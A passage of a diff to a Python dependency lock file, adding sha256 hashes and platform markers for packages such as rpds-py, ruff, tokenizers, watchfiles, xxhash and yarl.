--hash=sha256:7e30b874d341fac767d7df5a0870540541c2c054b80cfaac116e8d367a8a7ff2 \ + --hash=sha256:7e87577720152d2caae19fe2baaf1f8d5ca12091e9e229f03915c37d1e4b9178 \ + --hash=sha256:8e76e8161ad00694cfce6767d5dea860c6391ac5b83e5c3a39661e696f11fc7e \ --hash=sha256:8f3af7a4903c5c04a11a196a5aa75cdd7dd3f8508132f9fb3259d9f5908e3b88 \ + --hash=sha256:91328f1c23d47595ca3ef0a7557fa129c5a23404b775c770697d2f35b33e0107 \ + --hash=sha256:93a7860539414dddaefba2b40f8771765ae17949d4c7182b876ce429e11a8309 \ + --hash=sha256:97cf3bc1b7d7d2306772ec07366c80d9df00ff79e79cea32898883a646d2fae2 \ --hash=sha256:992604d02e6d9c6d786c24a706a71ecffe1020fc1ef264044474cd81fa2c3919 \ --hash=sha256:a8234aa23ec39894bfe4a3f1b85616a7032481964a13ac6fc9f10de4f6fca270 \ --hash=sha256:a8820737949116ffff55fe18f9fc644530063ba6ebfcb8314239416e78f1347c \ --hash=sha256:aa0fbdbac82cb3e4450d0ccde7d7a35607f4cb2dd9fba4b8b69bfaf8c9fa6aed \ --hash=sha256:b6d189041f15691cfa2b6c4290448ec221244d225b3f5fe9e7771b34ffcdf6e2 \ --hash=sha256:b96350aa424e79d4fd6b567b344dcbe2b2d6bfc48dfe7717587e1fa6d43da6ff \ + --hash=sha256:c8b9b9d294cfea3cd19c718ade7cc93492b2c4991abd9a68d0b3477ae6d8e100 \ + --hash=sha256:c9411dd64ca95477225734a93dfc8583b51916b8d5942f99d6cac21e09965451 \ --hash=sha256:ccf5249114cc3e772ecdd88a98a86eca0fd74c61ce32a94743758c083fc05d48 \ + --hash=sha256:cd2846168eb9ee3c513902bc8225409cb1caab31d04728b145171fa1625d9621 \ + --hash=sha256:d29eebfc9525db68cad3c97eedd7f754fa265aa5cd0cf4f863b2421e1b48fc9f \ --hash=sha256:d626b84406444b165fc0ba981604edea39f0588ff1f92baa23fe50799ea9afdb \ + --hash=sha256:d659eee77986549c9ea45b861c7567e44d6287c3dc9a4565478853f7b9fe2ff6 \ + --hash=sha256:daff2bdbaf1d23e52fdff7c0b7bc2048b68f978df6a4d107ac981f94caef2e66 \ --hash=sha256:dd2810d22146b6d838acc5ec15602cb6b47920aa4e33015df3868eedfd20bab8 \ + --hash=sha256:ddda5340e6c01a293027dd46232fa79eaff1b48058ce7a98f572b6445b088041 \ + --hash=sha256:debb893095e944091c16e641a6e33c1b0f4cb61ab945ec5afbf53ce7068834d8 \ --hash=sha256:dfbe4579b9f08036aa7d101d1835437a20783574ac66327e6b29b4018a138081 \ + --hash=sha256:e82db382b44d0111b22601c509c89f64434816c9e0eef9d1989cda8cc6ff1c04 \ + --hash=sha256:ea9c8ecfa1b73c73b626534d6626e5340d429630943672b8480724f44e84b962 \ --hash=sha256:ef31cbfe458e21c6122ba8150ff060e0c7789ed0d26eb423f25472584920b555 \ + --hash=sha256:f079e50a0d3cc3cd5091fa9ff45869a2e6b2cd35895731edafb0327901a8d86d \ --hash=sha256:f7a7c26137296beba7784de6eba69c6a93a63ccebc385e4962fe67e267a91225 \ --hash=sha256:fd03c4f0e33280d15cae17159b899245d6b7c53d21def19b263b39655061f5ce \ --hash=sha256:fd190e88a895a8901325fad284a3f74ea52b1da8525b76cc811fa9b1edf0ce2b @@ -2579,57 +2880,99 @@ rignore==0.7.6 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( --hash=sha256:297e500c15766e196f68aaaa70e8b6db85fa23fdc075b880d8231fdfba738cd7 \ --hash=sha256:392dcabfecbe176c9ebbcb40d85a5e86a5989559c4f988c2741da7daf1b5be25 \ --hash=sha256:3efdcf1dd84d45f3e2bd2f93303d9be103888f56dfa7c3349b5bf4f0657ec696 \ + --hash=sha256:53fb28882d2538cb2d231972146c4927a9d9455e62b209f85d634408c4103538 \ + --hash=sha256:5719ea14ea2b652c0c0894be5dfde954e1853a80dea27dd2fbaa749618d837f5 \ + --hash=sha256:5991e46ab9b4868334c9e372ab0892b0150f3f586ff2b1e314272caeb38aaedb \ + --hash=sha256:62020dbb89a1dd4b84ab3d60547b3b2eb2723641d5fb198463643f71eaaed57d \ + --hash=sha256:65cece3b36e5b0826d946494734c0e6aaf5a0337e18ff55b071438efe13d559e \ + --hash=sha256:684014e42e4341ab3ea23a203551857fcc03a7f8ae96ca3aefb824663f55db32 \ --hash=sha256:6e01cad2b0b92f6b1993f29fc01f23f2d78caf4bf93b11096d28e9d578eb08ce \ --hash=sha256:77356ebb01ba13f8a425c3d30fcad40e57719c0e37670d022d560884a30e4767 \ + --hash=sha256:7bbcdc52b5bf9f054b34ce4af5269df5d863d9c2456243338bc193c28022bd7b \ + --hash=sha256:87409f7eeb1103d6b77f3472a3a0d9a5953e3ae804a55080bdcb0120ee43995b \ --hash=sha256:90f0a00ce0c866c275bf888271f1dc0d2140f29b82fcf33cdbda1e1a6af01010 \ + --hash=sha256:a04a3b73b75ddc12c9c9b21efcdaab33ca3832941d6f1d67bffd860941cd448a \ --hash=sha256:aaf938530dcc0b47c4cfa52807aa2e5bfd5ca6d57a621125fe293098692f6345 \ + --hash=sha256:b34acd532769d5a6f153a52a98dcb81615c949ab11697ce26b2eb776af2e174d \ + --hash=sha256:b5fd5ab3840b8c16851d327ed06e9b8be6459702a53e5ab1fc4073b684b3789e \ --hash=sha256:b9e624f6be6116ea682e76c5feb71ea91255c67c86cb75befe774365b2931961 \ + --hash=sha256:ba5524f5178deca4d7695e936604ebc742acb8958f9395776e1fcb8133f8257a \ --hash=sha256:bda49950d405aa8d0ebe26af807c4e662dd281d926530f03f29690a2e07d649a \ + --hash=sha256:c081f17290d8a2b96052b79207622aa635686ea39d502b976836384ede3d303c \ --hash=sha256:c1ad295537041dc2ed4b540fb1a3906bd9ede6ccdad3fe79770cd89e04e3c73c \ + --hash=sha256:ced2a248352636a5c77504cb755dc02c2eef9a820a44d3f33061ce1bb8a7f2d2 \ --hash=sha256:d24321efac92140b7ec910ac7c53ab0f0c86a41133d2bb4b0e6a7c94967f44dd \ + --hash=sha256:d7e4bb66c13cd7602dc8931822c02dfbbd5252015c750ac5d6152b186f0a8be0 \ --hash=sha256:d8955b57e42f2a5434670d5aa7b75eaf6e74602ccd8955dddf7045379cd762fb \ - --hash=sha256:ee4a18b82cbbc648e4aac1510066682fe62beb5dc88e2c67c53a83954e541360 + --hash=sha256:ee4a18b82cbbc648e4aac1510066682fe62beb5dc88e2c67c53a83954e541360 \ + --hash=sha256:f782dbd3a65a5ac85adfff69e5c6b101285ef3f845c3a3cae56a54bebf9fe116 # via fastapi-cloud-cli rouge-score==0.1.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:c7d4da2683e68c9abf0135ef915d63a46643666f848e558a1b9f7ead17ff0f04 # via nemo-evaluator-sdk rpds-py==0.30.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:07ae8a593e1c3c6b82ca3292efbe73c30b61332fd612e05abee07c79359f292f \ + --hash=sha256:0a59119fc6e3f460315fe9d08149f8102aa322299deaa5cab5b40092345c2136 \ + --hash=sha256:12f90dd7557b6bd57f40abe7747e81e0c0b119bef015ea7726e69fe550e394a4 \ + --hash=sha256:1f3587eb9b17f3789ad50824084fa6f81921bbf9a795826570bda82cb3ed91f2 \ + --hash=sha256:250fa00e9543ac9b97ac258bd37367ff5256666122c2d0f2bc97577c60a1818c \ --hash=sha256:2771c6c15973347f50fece41fc447c054b7ac2ae0502388ce3b6738cd366e3d4 \ + --hash=sha256:2e6ecb5a5bcacf59c3f912155044479af1d0b6681280048b338b28e364aca1f6 \ --hash=sha256:33f559f3104504506a44bb666b93a33f5d33133765b0c216a5bf2f1e1503af89 \ --hash=sha256:3896fa1be39912cf0757753826bc8bdc8ca331a28a7c4ae46b7a21280b06bb85 \ + --hash=sha256:39c02563fc592411c2c61d26b6c5fe1e51eaa44a75aa2c8735ca88b0d9599daa \ --hash=sha256:3adbb8179ce342d235c31ab8ec511e66c73faa27a47e076ccc92421add53e2bb \ --hash=sha256:422c3cb9856d80b09d30d2eb255d0754b23e090034e1deb4083f8004bd0761e4 \ --hash=sha256:47f236970bccb2233267d89173d3ad2703cd36a0e2a6e92d0560d333871a3d23 \ + --hash=sha256:47f9a91efc418b54fb8190a6b4aa7813a23fb79c51f4bb84e418f5476c38b8db \ --hash=sha256:4c5f36a861bc4b7da6516dbdf302c55313afa09b81931e8280361a4f6c9a2d27 \ --hash=sha256:51a1234d8febafdfd33a42d97da7a43f5dcb120c1060e352a3fbc0c6d36e2083 \ --hash=sha256:58edca431fb9b29950807e301826586e5bbf24163677732429770a697ffe6738 \ --hash=sha256:5d4c2aa7c50ad4728a094ebd5eb46c452e9cb7edbfdb18f9e1221f597a73e1e7 \ + --hash=sha256:692bef75a5525db97318e8cd061542b5a79812d711ea03dbc1f6f8dbb0c5f0d2 \ --hash=sha256:6abc8880d9d036ecaafe709079969f56e876fcf107f7a8e9920ba6d5a3878d05 \ --hash=sha256:73c67f2db7bc334e518d097c6d1e6fed021bbc9b7d678d6cc433478365d1d5f5 \ + --hash=sha256:76fec018282b4ead0364022e3c54b60bf368b9d926877957a8624b58419169b7 \ --hash=sha256:7cee9c752c0364588353e627da8a7e808a66873672bcb5f52890c33fd965b394 \ --hash=sha256:9027da1ce107104c50c81383cae773ef5c24d296dd11c99e2629dbd7967a20c6 \ --hash=sha256:922e10f31f303c7c920da8981051ff6d8c1a56207dbdf330d9047f6d30b70e5e \ --hash=sha256:945dccface01af02675628334f7cf49c2af4c1c904748efc5cf7bbdf0b579f95 \ + --hash=sha256:946fe926af6e44f3697abbc305ea168c2c31d3e3ef1058cf68f379bf0335a78d \ + --hash=sha256:9854cf4f488b3d57b9aaeb105f06d78e5529d3145b1e4a41750167e8c213c6d3 \ + --hash=sha256:993914b8e560023bc0a8bf742c5f303551992dcb85e247b1e5c7f4a7d145bda5 \ + --hash=sha256:99b47d6ad9a6da00bec6aabe5a6279ecd3c06a329d4aa4771034a21e335c3a97 \ + --hash=sha256:9cf69cdda1f5968a30a359aba2f7f9aa648a9ce4b580d6826437f2b291cfc86e \ + --hash=sha256:a1010ed9524c73b94d15919ca4d41d8780980e1765babf85f9a2f90d247153dd \ --hash=sha256:ac37f9f516c51e5753f27dfdef11a88330f04de2d564be3991384b2f3535d02e \ --hash=sha256:c77afbd5f5250bf27bf516c7c4a016813eb2d3e116139aed0096940c5982da94 \ --hash=sha256:ca28829ae5f5d569bb62a79512c842a03a12576375d5ece7d2cadf8abe96ec28 \ --hash=sha256:cdc62c8286ba9bf7f47befdcea13ea0e26bf294bda99758fd90535cbaf408000 \ + --hash=sha256:d948b135c4693daff7bc2dcfc4ec57237a29bd37e60c2fabf5aff2bbacf3e2f1 \ --hash=sha256:d9a0ca5da0386dee0655b4ccdf46119df60e0f10da268d04fe7cc87886872ba7 \ --hash=sha256:dc4f992dfe1e2bc3ebc7444f6c7051b4bc13cd8e33e43511e8ffd13bf407010d \ --hash=sha256:dd8ff7cf90014af0c0f787eea34794ebf6415242ee1d6fa91eaba725cc441e84 \ + --hash=sha256:dea5b552272a944763b34394d04577cf0f9bd013207bc32323b5a89a53cf9c2f \ --hash=sha256:dff13836529b921e22f15cb099751209a60009731a68519630a24d61f0b1b30a \ --hash=sha256:e7536cd91353c5273434b4e003cbda89034d67e7710eab8761fd918ec6c69cf8 \ - --hash=sha256:ee6af14263f25eedc3bb918a3c04245106a42dfd4f5c2285ea6f997b1fc3f89a + --hash=sha256:eb2c4071ab598733724c08221091e8d80e89064cd472819285a9ab0f24bcedb9 \ + --hash=sha256:ee6af14263f25eedc3bb918a3c04245106a42dfd4f5c2285ea6f997b1fc3f89a \ + --hash=sha256:f8d1736cfb49381ba528cd5baa46f82fdc65c06e843dab24dd70b63d09121b3f # via # jsonschema # referencing ruff==0.15.7 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:04f1ae61fc20fe0b148617c324d9d009b5f63412c0b16474f3d5f1a1a665f7ac \ --hash=sha256:112c1fa316a558bb34319282c1200a8bf0495f1b735aeb78bfcb2991e6087580 \ + --hash=sha256:1852ce241d2bc89e5dc823e03cff4ce73d816b5c6cdadd27dbfe7b03217d2a12 \ + --hash=sha256:4806d8e09ef5e84eb19ba833d0442f7e300b23fe3f0981cae159a248a10f0036 \ --hash=sha256:5f3e4b221fb4bd293f79912fc5e93a9063ebd6d0dcbd528f91b89172a9b8436c \ --hash=sha256:6b39329b60eba44156d138275323cc726bbfbddcec3063da57caa8a8b1d50adf \ --hash=sha256:7fbc2448094262552146cbe1b9643a92f66559d3761f1ad0656d4991491af49e \ - --hash=sha256:dce0896488562f09a27b9c91b1f58a097457143931f3c4d519690dea54e624c5 + --hash=sha256:87768c151808505f2bfc93ae44e5f9e7c8518943e5074f76ac21558ef5627c85 \ + --hash=sha256:a81cc5b6910fb7dfc7c32d20652e50fa05963f6e13ead3c5915c41ac5d16668e \ + --hash=sha256:b15e48602c9c1d9bdc504b472e90b90c97dc7d46c7028011ae67f3861ceba7b4 \ + --hash=sha256:dce0896488562f09a27b9c91b1f58a097457143931f3c4d519690dea54e624c5 \ + --hash=sha256:e0d19644f801849229db8345180a71bee5407b429dd217f853ec515e968a6912 # via data-designer-engine s3transfer==0.14.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:ea3b790c7077558ed1f02a3072fb3cb992bbbd253392f4b6e9e8976941c7d456 \ @@ -2642,11 +2985,16 @@ sacrebleu==2.6.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nemo-evaluator-sdk # nemoplatform safetensors==0.8.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:040070828e36dc8e122178bbbd5830ff9e97920affb84cbe0f46442497bed358 \ + --hash=sha256:4124502b78f03534117c848f87a39b8f31e577b15eff423bf8bfb95f2a8c30d0 \ + --hash=sha256:4a95ae2b05d7726d751da4ebf626a2ca782b706e101bd894c95bc2450b1cffcc \ --hash=sha256:7a46e5ff292c356d6991e60942ba7f79817682d3a2cef0702136448cb9c4d235 \ + --hash=sha256:7bc0a787ba8a35be368ee3574edfa2b1ad389eebd0a72e482ae275490e3f6c98 \ --hash=sha256:87eec7ffed2b809f05a398a8becb7d013f19f7837cd15d9748580d6cf30dbaf4 \ --hash=sha256:8e080062fcde23be189565e1c3305d16751a218ecf9412c8601e64204eb6f846 \ --hash=sha256:c80201d22cbf405b80647a60ada77bba06c8fba2da2743ba1e89cdcc39a81f25 \ --hash=sha256:fabaf3e0f18a6618d9b36560682562157f77c2b71fcffc7b432be2baed9d753d \ + --hash=sha256:fcdd41ec4628fee5799f807c73c353629130fbd942aa23d83c623dd6c9d52d78 \ --hash=sha256:fd6f3f93c9a0a7cc2788ee63fb763353d4bd2e89b0751bc78fcf7dda00bea774 # via transformers scikit-network==0.33.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ @@ -2798,6 +3146,7 @@ starlette==1.3.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or --hash=sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0 \ --hash=sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6 # via + # data-designer-engine # fastapi # mcp # nvidia-nat-core @@ -2876,12 +3225,16 @@ tiktoken==0.12.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nemo-anonymizer # ragas tokenizers==0.22.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:1c774b1276f71e1ef716e5486f21e76333464f47bece56bbd554485982a9e03e \ --hash=sha256:1e418a55456beedca4621dbab65a318981467a2b188e982a23e117f115ce5001 \ --hash=sha256:2249487018adec45d6e3554c71d46eb39fa8ea67156c640f7513eb26f318cec7 \ + --hash=sha256:25b85325d0815e86e0bac263506dd114578953b7b53d7de09a6485e4a160a7dd \ --hash=sha256:29c30b83d8dcd061078b05ae0cb94d3c710555fbb44861139f9f83dcca3dc3e4 \ --hash=sha256:369cc9fc8cc10cb24143873a0d95438bb8ee257bb80c71989e3ee290e8d72c67 \ + --hash=sha256:37ae80a28c1d3265bb1f22464c856bd23c02a05bb211e56d0c5301a435be6c1a \ --hash=sha256:38337540fbbddff8e999d59970f3c6f35a82de10053206a7562f1ea02d046fa5 \ - --hash=sha256:473b83b915e547aa366d1eee11806deaf419e17be16310ac0a14077f1e28f917 + --hash=sha256:473b83b915e547aa366d1eee11806deaf419e17be16310ac0a14077f1e28f917 \ + --hash=sha256:df6c4265b289083bf710dff49bc51ef252f9d5be33a45ee2bed151114a56207b # via # fastembed # langchain-huggingface @@ -3041,15 +3394,20 @@ urllib3==2.7.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( # requests # sentry-sdk uuid-utils==0.14.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:0972488e3f9b449e83f006ead5a0e0a33ad4a13e4462e865b7c286ab7d7566a3 \ --hash=sha256:0b5d2ad28063d422ccc2c28d46471d47b61a58de885d35113a8f18cb547e25bf \ + --hash=sha256:50fffc2827348c1e48972eed3d1c698959e63f9d030aa5dd82ba451113158a62 \ + --hash=sha256:60e0854a90d67f4b0cc6e54773deb8be618f4c9bad98d3326f081423b5d14fae \ --hash=sha256:93a3b5dc798a54a1feb693f2d1cb4cf08258c32ff05ae4929b5f0a2ca624a4f0 \ --hash=sha256:9bfc95f64af80ccf129c604fb6b8ca66c6f256451e32bc4570f760e4309c9b69 \ --hash=sha256:b197cd5424cf89fb019ca7f53641d05bfe34b1879614bed111c9c313b5574cd8 \ --hash=sha256:b56b0cacd81583834820588378e432b0696186683b813058b707aedc1e16c4b1 \ + --hash=sha256:bb3cf14de789097320a3c56bfdfdd51b1225d11d67298afbedee7e84e3837c96 \ --hash=sha256:bec8f8ef627af86abf8298e7ec50926627e29b34fa907fcfbedb45aaa72bca43 \ --hash=sha256:c1dbe718765f70f5b7f9b7f66b6a937802941b1cc56bcf642ce0274169741e01 \ --hash=sha256:c915d53f22945e55fe0d3d3b0b87fd965a57f5fd15666fd92d6593a73b1dd297 \ - --hash=sha256:ce6743ba194de3910b5feb1a62590cd2587e33a73ab6af8a01b642ceb5055862 + --hash=sha256:ce6743ba194de3910b5feb1a62590cd2587e33a73ab6af8a01b642ceb5055862 \ + --hash=sha256:da2234387b45fde40b0fedfee64a0ba591caeea9c48c7698ab6e2d85c7991533 # via # langchain-core # langsmith @@ -3122,6 +3480,8 @@ watchfiles==1.1.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') o --hash=sha256:14e0b1fe858430fc0251737ef3824c54027bedb8c37c38114488b8e131cf8219 \ --hash=sha256:1db5d7ae38ff20153d542460752ff397fcf5c96090c1230803713cf3147a6803 \ --hash=sha256:28475ddbde92df1874b6c5c8aaeb24ad5be47a11f87cde5a28ef3835932e3e94 \ + --hash=sha256:2edc3553362b1c38d9f06242416a5d8e9fe235c204a4072e988ce2e5bb1f69f6 \ + --hash=sha256:319b27255aacd9923b8a276bb14d21a5f7ff82564c744235fc5eae58d95422ae \ --hash=sha256:36193ed342f5b9842edd3532729a2ad55c4160ffcfa3700e0d54be496b70dd43 \ --hash=sha256:399600947b170270e80134ac854e21b3ccdefa11a9529a3decc1327088180f10 \ --hash=sha256:3a476189be23c3686bc2f4321dd501cb329c0a0469e77b7b534ee10129ae6374 \ @@ -3130,18 +3490,28 @@ watchfiles==1.1.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') o --hash=sha256:3f7eb7da0eb23aa2ba036d4f616d46906013a68caf61b7fdbe42fc8b25132e77 \ --hash=sha256:421e29339983e1bebc281fab40d812742268ad057db4aee8c4d2bce0af43b741 \ --hash=sha256:5f3bde70f157f84ece3765b42b4a52c6ac1a50334903c6eaf765362f6ccca88a \ + --hash=sha256:5f3f58818dc0b07f7d9aa7fe9eb1037aecb9700e63e1f6acfed13e9fef648f5d \ --hash=sha256:5fac835b4ab3c6487b5dbad78c4b3724e26bcc468e886f8ba8cc4306f68f6701 \ --hash=sha256:6e43d39a741e972bab5d8100b5cdacf69db64e34eb19b6e9af162bccf63c5cc6 \ + --hash=sha256:743185e7372b7bc7c389e1badcc606931a827112fbbd37f14c537320fca08620 \ --hash=sha256:831a62658609f0e5c64178211c942ace999517f5770fe9436be4c2faeba0c0ef \ --hash=sha256:8526e8f916bb5b9a0a777c8317c23ce65de259422bba5b31325a6fa6029d33af \ --hash=sha256:89eef07eee5e9d1fda06e38822ad167a044153457e6fd997f8a858ab7564a336 \ + --hash=sha256:9bb9f66367023ae783551042d31b1d7fd422e8289eedd91f26754a66f44d5cff \ --hash=sha256:a173cb5c16c4f40ab19cecf48a534c409f7ea983ab8fed0741304a1c0a31b3f2 \ --hash=sha256:aebfd0861a83e6c3d1110b78ad54704486555246e542be3e2bb94195eabb2606 \ + --hash=sha256:afaeff7696e0ad9f02cbb8f56365ff4686ab205fcf9c4c5b6fdfaaa16549dd04 \ --hash=sha256:bd404be08018c37350f0d6e34676bd1e2889990117a2b90070b3007f172d0610 \ + --hash=sha256:bfb5862016acc9b869bb57284e6cb35fdf8e22fe59f7548858e2f971d045f150 \ --hash=sha256:c22c776292a23bfc7237a98f791b9ad3144b02116ff10d820829ce62dff46d0b \ --hash=sha256:c755367e51db90e75b19454b680903631d41f9e3607fbd941d296a020c2d752d \ + --hash=sha256:cb467c999c2eff23a6417e58d75e5828716f42ed8289fe6b77a7e5a91036ca70 \ --hash=sha256:ce19e06cbda693e9e7686358af9cd6f5d61312ab8b00488bc36f5aabbaf77e24 \ --hash=sha256:ce70f96a46b894b36eba678f153f052967a0d06d5b5a19b336ab0dbbd029f73e \ + --hash=sha256:dcc5c24523771db3a294c77d94771abcfcb82a0e0ee8efd910c37c59ec1b31bb \ + --hash=sha256:f27db948078f3823a6bb3b465180db8ebecf26dd5dae6f6180bd87383b6b4428 \ + --hash=sha256:f537afb3276d12814082a2e9b242bdcf416c2e8fd9f799a737990a1dbe906e5b \ + --hash=sha256:f8979280bdafff686ba5e4d8f97840f929a87ed9cdf133cbbd42f7766774d2aa \ --hash=sha256:f9a2ae5c91cecc9edd47e041a930490c31c3afb1f5e6d71de3dc671bfaca02bf # via # fastmcp @@ -3218,28 +3588,44 @@ xdg-base-dirs==6.0.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin' --hash=sha256:950504e14d27cf3c9cb37744680a43bf0ac42efefc4ef4acf98dc736cab2bced # via garak-api xxhash==3.6.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c \ + --hash=sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1 \ --hash=sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8 \ + --hash=sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa \ --hash=sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa \ + --hash=sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5 \ + --hash=sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11 \ --hash=sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae \ --hash=sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d \ --hash=sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2 \ + --hash=sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89 \ + --hash=sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e \ --hash=sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3 \ --hash=sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db \ --hash=sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033 \ + --hash=sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f \ + --hash=sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42 \ --hash=sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f \ --hash=sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd \ + --hash=sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d \ --hash=sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1 \ + --hash=sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374 \ --hash=sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263 \ --hash=sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13 \ --hash=sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62 \ + --hash=sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b \ --hash=sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2 \ --hash=sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204 \ + --hash=sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546 \ --hash=sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9 \ --hash=sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd \ + --hash=sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf \ --hash=sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0 \ + --hash=sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292 \ --hash=sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6 \ --hash=sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd \ --hash=sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7 \ + --hash=sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0 \ --hash=sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee # via # datasets @@ -3259,32 +3645,64 @@ yara-python==4.5.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') --hash=sha256:f533848781f0e46e44eda77055eae4ec934cf56c1f473e787704f1a348e90094 # via nmp-guardrails yarl==1.23.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:03214408cfa590df47728b84c679ae4ef00be2428e11630277be0727eba2d7cc \ + --hash=sha256:0e40111274f340d32ebcc0a5668d54d2b552a6cca84c9475859d364b380e3222 \ + --hash=sha256:115136c4a426f9da976187d238e84139ff6b51a20839aa6e3720cd1026d768de \ --hash=sha256:13a563739ae600a631c36ce096615fe307f131344588b0bc0daec108cdb47b25 \ --hash=sha256:16c6994ac35c3e74fb0ae93323bf8b9c2a9088d55946109489667c510a7d010e \ --hash=sha256:170e26584b060879e29fac213e4228ef063f39128723807a312e5c7fec28eff2 \ --hash=sha256:1932b6b8bba8d0160a9d1078aae5838a66039e8832d41d2992daa9a3a08f7860 \ + --hash=sha256:1c3a3598a832590c5a3ce56ab5576361b5688c12cb1d39429cf5dba30b510760 \ + --hash=sha256:1dc702e42d0684f42d6519c8d581e49c96cefaaab16691f03566d30658ee8788 \ --hash=sha256:2569b67d616eab450d262ca7cb9f9e19d2f718c70a8b88712859359d0ab17035 \ --hash=sha256:34b6cf500e61c90f305094911f9acc9c86da1a05a7a3f5be9f68817043f486e4 \ + --hash=sha256:39004f0ad156da43e86aa71f44e033de68a44e5a31fc53507b36dd253970054a \ --hash=sha256:3ceb13c5c858d01321b5d9bb65e4cf37a92169ea470b70fec6f236b2c9dd7e34 \ + --hash=sha256:4764a6a7588561a9aef92f65bda2c4fb58fe7c675c0883862e6df97559de0bfb \ + --hash=sha256:4966242ec68afc74c122f8459abd597afd7d8a60dc93d695c1334c5fd25f762f \ + --hash=sha256:4a59ba56f340334766f3a4442e0efd0af895fae9e2b204741ef885c446b3a1a8 \ + 